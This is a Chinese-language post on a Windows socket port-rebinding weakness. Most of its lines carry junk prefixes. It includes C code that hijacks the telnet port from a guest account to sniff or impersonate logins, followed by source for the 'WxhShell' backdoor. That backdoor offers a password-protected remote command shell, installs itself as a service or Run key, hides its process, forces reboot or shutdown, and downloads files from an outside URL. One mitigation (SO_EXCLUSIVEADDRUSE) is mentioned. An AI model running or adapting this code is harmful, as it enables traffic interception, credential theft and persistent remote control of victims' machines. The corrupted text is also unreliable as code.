在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Xc2B2c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]X:
rby$ R_Gq8t$ saddr.sin_family = AF_INET;
!+A"Lej |/\U^AHm"h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
S`c]Fc {#*? S>DA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`H2F0{\og CoUd16*"JM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}1]!#yMfq OgXZ-<' 这意味着什么?意味着可以进行如下的攻击:
oA;jy H@2v<e@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-hVv 'hlB;z|T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c_G-R+ bN4&\d*u# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7 xp1\j0 )YnI!v2T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
cUZ!;* loC5o|Wh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7c29Ua~[ _.OMjUBZT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f1Yv hvWL 1V**QSZ1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
XW~ BEa tT* W5 #include
g2aT`=&Z #include
n.a=K2H:V #include
l<aqiZSY #include
,dZ H$ DWORD WINAPI ClientThread(LPVOID lpParam);
8XYD
L]I' int main()
?BDlB0jxzi {
u_4:#~b WORD wVersionRequested;
g8+4$2`ny DWORD ret;
_PyW=Tj WSADATA wsaData;
T`g?)/ BOOL val;
Lf;
ta SOCKADDR_IN saddr;
&6\r SOCKADDR_IN scaddr;
UL)" int err;
8)W?la8'p SOCKET s;
5xMA~I 0c SOCKET sc;
V<HOSB7 int caddsize;
y#Mc4? HANDLE mt;
T3G/v)ufd DWORD tid;
*CH!<VB/ wVersionRequested = MAKEWORD( 2, 2 );
5y(t`Fmt
err = WSAStartup( wVersionRequested, &wsaData );
d(X\B{ if ( err != 0 ) {
F8uRT&m B0 printf("error!WSAStartup failed!\n");
[>$\s=` h return -1;
aT?p> }
ez^*M:K saddr.sin_family = AF_INET;
+ 9\:$wMN FtFv<UV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s`Yu"s
8}4 iJ`%yg, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v7o?GQ75 saddr.sin_port = htons(23);
I
9{40_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*`+<x {
;!l*7}5X= printf("error!socket failed!\n");
ko=aa5c return -1;
vz;7} Zj] }
Ei{( val = TRUE;
a%Z4_ToLZ //SO_REUSEADDR选项就是可以实现端口重绑定的
VQy9Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
M.xhVgFf) {
|&elZ}8 printf("error!setsockopt failed!\n");
]k'#g Z$ return -1;
|TB@@ 2Ky& }
lBlSNDs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$PatHY@h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'w` SBYQ5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~t{D5#LVHa ;g:
U[cE if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'A@qg^e:` {
<[Tq7cO0 ret=GetLastError();
L _vblUDq printf("error!bind failed!\n");
Q^a&qYK return -1;
}b_R5U$@@ }
lfxuc7Rdla listen(s,2);
jw/'*e while(1)
<=;H[}
e {
,]~u:Y} caddsize = sizeof(scaddr);
MB]#%g& //接受连接请求
~/j$TT" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gt
=j5 if(sc!=INVALID_SOCKET)
XGE
2J {
tJUVw= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{E3xI2 if(mt==NULL)
<O \tC81 {
6Gs{nFw printf("Thread Creat Failed!\n");
%^a]J"Ydi8 break;
F5FNhuC }
Zz"I.$$[M }
0V<Aub[${ CloseHandle(mt);
x r-;,W }
Np.no$_ closesocket(s);
Zg)_cRR WSACleanup();
@T<ad7g-2J return 0;
c@RT$Q9j }
opm?':Qst DWORD WINAPI ClientThread(LPVOID lpParam)
E|HSwTHe {
BCBEX&0hk{ SOCKET ss = (SOCKET)lpParam;
\ V[;t- SOCKET sc;
\@Ee9C13 unsigned char buf[4096];
p&i.)/ SOCKADDR_IN saddr;
Pv< QjY long num;
;Ay>+M2O DWORD val;
:d;[DYFLxb DWORD ret;
69t7=r //如果是隐藏端口应用的话,可以在此处加一些判断
!OPSS P]- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&?SX4c~?u saddr.sin_family = AF_INET;
W3De|V^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
CTl(_g saddr.sin_port = htons(23);
kcLj Kp if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n11LxGwk {
_REqT printf("error!socket failed!\n");
`+roQX.p return -1;
Z7JKaP9{: }
<_"B}c/2$ val = 100;
;$vLq&(} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}czsa_ {
xU@1!%l@ ret = GetLastError();
S-isL4D.Z return -1;
)D:9R)m }
YSqv86 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*,"jF!C&[ {
[dl+:P:zc ret = GetLastError();
ki\B!<uv return -1;
j'3j}G%\T }
ec`bz "1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J4YT)- {
qOW#Q:T printf("error!socket connect failed!\n");
bsB},pc closesocket(sc);
_~tm7o+js closesocket(ss);
fZ[kh{| return -1;
inYM+o!Ub }
J5O.*& while(1)
+C'XS{K,# {
t2"@Ps&1| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2$M,*Dnr //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y^QKp" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
As0 B\ num = recv(ss,buf,4096,0);
F7\BF if(num>0)
( : send(sc,buf,num,0);
v9u<F6 else if(num==0)
34z_+
break;
:d.1;st num = recv(sc,buf,4096,0);
uaiz*Im if(num>0)
|z:Q(d06 send(ss,buf,num,0);
@!e~G'j%VD else if(num==0)
ndr)3tuYu break;
s8^~NX(xdy }
Q8;#_HE closesocket(ss);
(/&;jV2DD[ closesocket(sc);
^pj>9% return 0 ;
qB:AkMd& }
,I ZqLA .hKhrcQp 'qjX$]H ==========================================================
'fIHUw| rOW;yJ[ 下边附上一个代码,,WXhSHELL
Kv}k*A% S %MN.O-Lc ==========================================================
e8oKn& fe|g3>/| #include "stdafx.h"
_lXt8}:+
{=3B)+N #include <stdio.h>
dXl]Pe|v #include <string.h>
|k6Ox* #include <windows.h>
|=O1Hn #include <winsock2.h>
R"Kz!NTB #include <winsvc.h>
'@bJlJB9> #include <urlmon.h>
'99@=3AB:` A;,Dg=FL/ #pragma comment (lib, "Ws2_32.lib")
L?8^aG #pragma comment (lib, "urlmon.lib")
%%&e"&7HE z$|;-u| #define MAX_USER 100 // 最大客户端连接数
{SJsA)9:# #define BUF_SOCK 200 // sock buffer
)B ;M
#define KEY_BUFF 255 // 输入 buffer
i
E9\_MA m<{"}4' #define REBOOT 0 // 重启
/Pk:4, #define SHUTDOWN 1 // 关机
O=aw^|oj] !4t`Hv?' #define DEF_PORT 5000 // 监听端口
vG~+r<: B!}BM}r #define REG_LEN 16 // 注册表键长度
_8^0!,j #define SVC_LEN 80 // NT服务名长度
Q ]"jD#F =2%VZE7Vm // 从dll定义API
96=Z" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o&z!6"S< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9OyN i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Q.A \U>AgV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)Q]w6he3 qBYg[K> // wxhshell配置信息
H-,TS^W struct WSCFG {
Iyyo3awc int ws_port; // 监听端口
?ok)>P char ws_passstr[REG_LEN]; // 口令
eLV.qLBUs int ws_autoins; // 安装标记, 1=yes 0=no
>
H BJk: char ws_regname[REG_LEN]; // 注册表键名
s]Gd-j char ws_svcname[REG_LEN]; // 服务名
&RW`W)0; char ws_svcdisp[SVC_LEN]; // 服务显示名
j0x5@1`6G char ws_svcdesc[SVC_LEN]; // 服务描述信息
ZVL
gK}s char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`*aBRwvK~ int ws_downexe; // 下载执行标记, 1=yes 0=no
Lc]1$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2JZdw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fQU{SjG z]=8eV\ };
"Zcu[2, 1`JB)9P // default Wxhshell configuration
>3PMnI struct WSCFG wscfg={DEF_PORT,
^"x<)@X "xuhuanlingzhe",
N*_"8LIfi_ 1,
>b48>@~bY "Wxhshell",
SE)nD@: "Wxhshell",
51 4Z<omrK "WxhShell Service",
l^W uS|G[ "Wrsky Windows CmdShell Service",
MQ` %`` "Please Input Your Password: ",
HCj>,^<h 1,
mI"D(bx\ "
http://www.wrsky.com/wxhshell.exe",
` 1+%}}!$u "Wxhshell.exe"
VRbQdiZ{ };
_ie.| 4k *5D3vB*S // 消息定义模块
?:igumeYX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/e1(?
20 char *msg_ws_prompt="\n\r? for help\n\r#>";
oa`#RC8N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{DwIjy31T char *msg_ws_ext="\n\rExit.";
m#\[m<F char *msg_ws_end="\n\rQuit.";
,Dp0fauJ char *msg_ws_boot="\n\rReboot...";
!9]d|8! char *msg_ws_poff="\n\rShutdown...";
q]FBl}nwl% char *msg_ws_down="\n\rSave to ";
(0L=AxH [T^?Q%h char *msg_ws_err="\n\rErr!";
dJD(\a>r.u char *msg_ws_ok="\n\rOK!";
x[X`a vHcqEV|P/n char ExeFile[MAX_PATH];
`PlOwj@u0` int nUser = 0;
|m;L?)F< HANDLE handles[MAX_USER];
ER^QV(IvP8 int OsIsNt;
xu\eX x6H n]y EdL/1 SERVICE_STATUS serviceStatus;
x2W#ROfg SERVICE_STATUS_HANDLE hServiceStatusHandle;
$1Z6\G O ;:]\KJm}? // 函数声明
cyQBqG int Install(void);
=a$Oecg? int Uninstall(void);
Ew$I\j* int DownloadFile(char *sURL, SOCKET wsh);
aG{$Ic int Boot(int flag);
KX4],B5 + void HideProc(void);
5iM[sg[y9 int GetOsVer(void);
3t"4TjAy int Wxhshell(SOCKET wsl);
hXB|g[zT void TalkWithClient(void *cs);
.L EY=j!-s int CmdShell(SOCKET sock);
8-Me.2K int StartFromService(void);
|"]PCb)! int StartWxhshell(LPSTR lpCmdLine);
I=Ijdwb H tR)H~l7q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)D/ 6%]O VOID WINAPI NTServiceHandler( DWORD fdwControl );
FTf<c0 P^)q=A8Z# // 数据结构和表定义
4kl Ao$ SERVICE_TABLE_ENTRY DispatchTable[] =
X`JVR"=4 {
[4Q"#[V&9 {wscfg.ws_svcname, NTServiceMain},
lzhqcL" {NULL, NULL}
vmX"+sHz$] };
Hd &{d+B C6
" // 自我安装
p|[B
=.c{ int Install(void)
WZn.; {
_}gtcyx char svExeFile[MAX_PATH];
v }\,o%t^ HKEY key;
GF$`BGW strcpy(svExeFile,ExeFile);
x#H
3=YD* N#ioJ^}n: // 如果是win9x系统,修改注册表设为自启动
X+82[Y,mB. if(!OsIsNt) {
3EK9,:<Cf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u2iXJmM* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s'\$t RegCloseKey(key);
W?Ww2Lo%Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>:1P/U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
szmmu*F,U: RegCloseKey(key);
dl~|Izm return 0;
cg{AMeW }
Log|%P\ }
w_wslN,) }
iG<Som else {
l"+Jc1\ X W+=o&V // 如果是NT以上系统,安装为系统服务
*d*,Hqn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H/fUM if (schSCManager!=0)
]$b2a&r9 {
@It>*B yB. SC_HANDLE schService = CreateService
#,NvO!j<4 (
#&
?g %' schSCManager,
mUoIJ3fv_, wscfg.ws_svcname,
5:.{oSy7n wscfg.ws_svcdisp,
vbG]mMJ SERVICE_ALL_ACCESS,
|j~lkzPnV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B.dT)@Lx0 SERVICE_AUTO_START,
('[TLHP SERVICE_ERROR_NORMAL,
vVxD!EL svExeFile,
s1j{x&OSq NULL,
gVR@&bi7 NULL,
v|';!p| NULL,
qxOi>v0\H NULL,
[1yq{n= NULL
0JjUAxNq );
R.9V,R5 if (schService!=0)
j2 %^qL {
a;AzY'R CloseServiceHandle(schService);
Dt|)=a CloseServiceHandle(schSCManager);
8V/L:h#7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~+6Vdxm strcat(svExeFile,wscfg.ws_svcname);
L=;
-x9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
??&<k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rNDrp@A> RegCloseKey(key);
*m+BuGt| return 0;
9&]M**X }
p9eRZVy/ }
ca<" CloseServiceHandle(schSCManager);
G&f8n }
4Y \wnwI }
A!i q->+ j]rz] k return 1;
G4 _, }
?Bi*1V<R KKe8
ly, // 自我卸载
"tk-w{> int Uninstall(void)
"Zv~QwC {
}f}}A= HKEY key;
%kshQ%P)? ~a9W3b4j if(!OsIsNt) {
T1WWK' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[{u(C!7L` RegDeleteValue(key,wscfg.ws_regname);
?#A]{l RegCloseKey(key);
-V.d?A4" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c3%@Wj:fo RegDeleteValue(key,wscfg.ws_regname);
`{v?6:G:Q RegCloseKey(key);
BqK(DH^9N return 0;
l! bv^ }
i]{1^pKq }
(5L-G{4 }
kS5_
else {
s@4nWe B=f,QU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
zmuMWT; if (schSCManager!=0)
x Gk6n4Gg {
o+B:#@9? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O*6n$dUj3 if (schService!=0)
1 T<+d5[C {
DL^o_61 if(DeleteService(schService)!=0) {
_f0C Y" CloseServiceHandle(schService);
HeGYu?& CloseServiceHandle(schSCManager);
m7c*)"^ return 0;
QF2q^[>w6 }
G"5D< ] CloseServiceHandle(schService);
4bVO9aUG{ }
am1[9g8L CloseServiceHandle(schSCManager);
x\e;+ubt} }
J5Z%ImiT^O }
,8'>R@o @D^^_1~ return 1;
u^Ku;RQo }
Uh
eC PXoz*)tk // 从指定url下载文件
:(|'S4z int DownloadFile(char *sURL, SOCKET wsh)
E_z;s3AXQ {
m0w;8uF2UV HRESULT hr;
D1
Z{W char seps[]= "/";
URgk^nt2p char *token;
DB526O*
[ char *file;
6Q&r0>^{ char myURL[MAX_PATH];
WS8+7O'1\ char myFILE[MAX_PATH];
\2-@' ^i N;oQ^B' strcpy(myURL,sURL);
xiF7}]d+ token=strtok(myURL,seps);
AI vXb\wL while(token!=NULL)
1+;C`bnA {
Xl7aGlH file=token;
M,5j5<7 token=strtok(NULL,seps);
d$ACDX2 }
}kHdK vZ *.-.iY.a] GetCurrentDirectory(MAX_PATH,myFILE);
1F8 W9b^D strcat(myFILE, "\\");
f"u*D,/sS strcat(myFILE, file);
WO5O?jo' send(wsh,myFILE,strlen(myFILE),0);
b3-eR5U/ send(wsh,"...",3,0);
}TQ{`a@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Am0{8
' if(hr==S_OK)
>Hb^P)3 return 0;
KOq;jH{$ else
moj]j`P5a return 1;
/
O/`< 7M_U2cd|TD }
RgdysyB YpAg // 系统电源模块
|'ln?D:& int Boot(int flag)
`nXVE+E@ {
MTER(L HANDLE hToken;
7\zZpPDV TOKEN_PRIVILEGES tkp;
c\6+=\ bi y4d if(OsIsNt) {
F;ZSzWq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%=AxJp!a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zJDSbsc$% tkp.PrivilegeCount = 1;
N /$`:8" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=o}"jVE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
nMfFH[I4 if(flag==REBOOT) {
/v|"0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
UUKP" return 0;
LH 3}d<{ }
.o1^Oh else {
<$w?/y/' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
TC~Q
G$NW return 0;
Xv <G-N4 }
a {}|Bf< }
<}U'V}g else {
L9Z;:``p if(flag==REBOOT) {
_Y=2/*y^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<^~FLjsfg return 0;
.?p\n7 }
/&& 2u7* else {
P7ph}mB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
etT + return 0;
H.<a`mm8 }
e~ aqaY~} }
[3l*F CM )Q&